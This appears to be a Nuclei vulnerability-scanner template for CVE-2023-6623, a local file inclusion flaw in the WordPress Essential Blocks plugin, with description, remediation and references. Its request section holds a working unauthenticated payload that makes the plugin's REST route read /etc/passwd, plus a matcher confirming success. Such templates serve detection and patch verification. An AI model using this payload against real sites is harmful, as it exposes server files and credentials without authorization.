40 lines
1.8 KiB
YAML
40 lines
1.8 KiB
YAML
id: CVE-2023-6623
|
||
|
||
info:
|
||
name: Essential Blocks < 4.4.3 - Local File Inclusion
|
||
author: iamnoooob,rootxharsh,pdresearch,coldfish
|
||
severity: critical
|
||
description: |
|
||
Wordpress Essential Blocks plugin prior to 4.4.3 was discovered to be vulnerable to a significant Local File Inclusion vulnerability that may be exploited by any attacker, regardless of whether they have an account on the site.
|
||
impact: |
|
||
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
|
||
remediation: |
|
||
Upgrade to the latest version of Essential Blocks 4.4.3 to fix this issue.
|
||
reference:
|
||
- https://wpscan.com/blog/file-inclusion-vulnerability-fixed-in-essential-blocks-4-4-3/
|
||
- https://flysec-blog.blogspot.com/2024/01/cve-2023-6623-file-inclusion.html
|
||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6623
|
||
classification:
|
||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||
cvss-score: 7.5
|
||
cve-id: CVE-2023-6623
|
||
metadata:
|
||
verified: true
|
||
max-request: 2
|
||
publicwww-query: "/wp-content/plugins/essential-blocks/"
|
||
tags: wpscan,cve,cve2023,wp,wp-plugin,wordpress,essential-blocks,lfi
|
||
|
||
http:
|
||
- method: GET
|
||
path:
|
||
- '{{BaseURL}}/index.php?rest_route=%2Fessential-blocks%2Fv1%2Fproducts&is_frontend=true&attributes={"__file":"/etc%2fpasswd"}'
|
||
- '{{BaseURL}}/wp-content/plugins/essential-blocks/readme.txt'
|
||
|
||
matchers:
|
||
- type: dsl
|
||
dsl:
|
||
- "status_code == 200"
|
||
- "regex('root:.*:0:0:', body_1)"
|
||
- 'contains(body_2, "Essential Blocks – Page")'
|
||
condition: and
|
||
# digest: 490a0046304402207bd4ff1edb2d5bcca4cf5747715136c02070f1e8a0f4f6242af14a06393c302702207120c5f68f40f65e63b5ca176c127d0de569e93bcecb351afa58b663148b7956:922c64590222798bb761d5b6d8e72950 |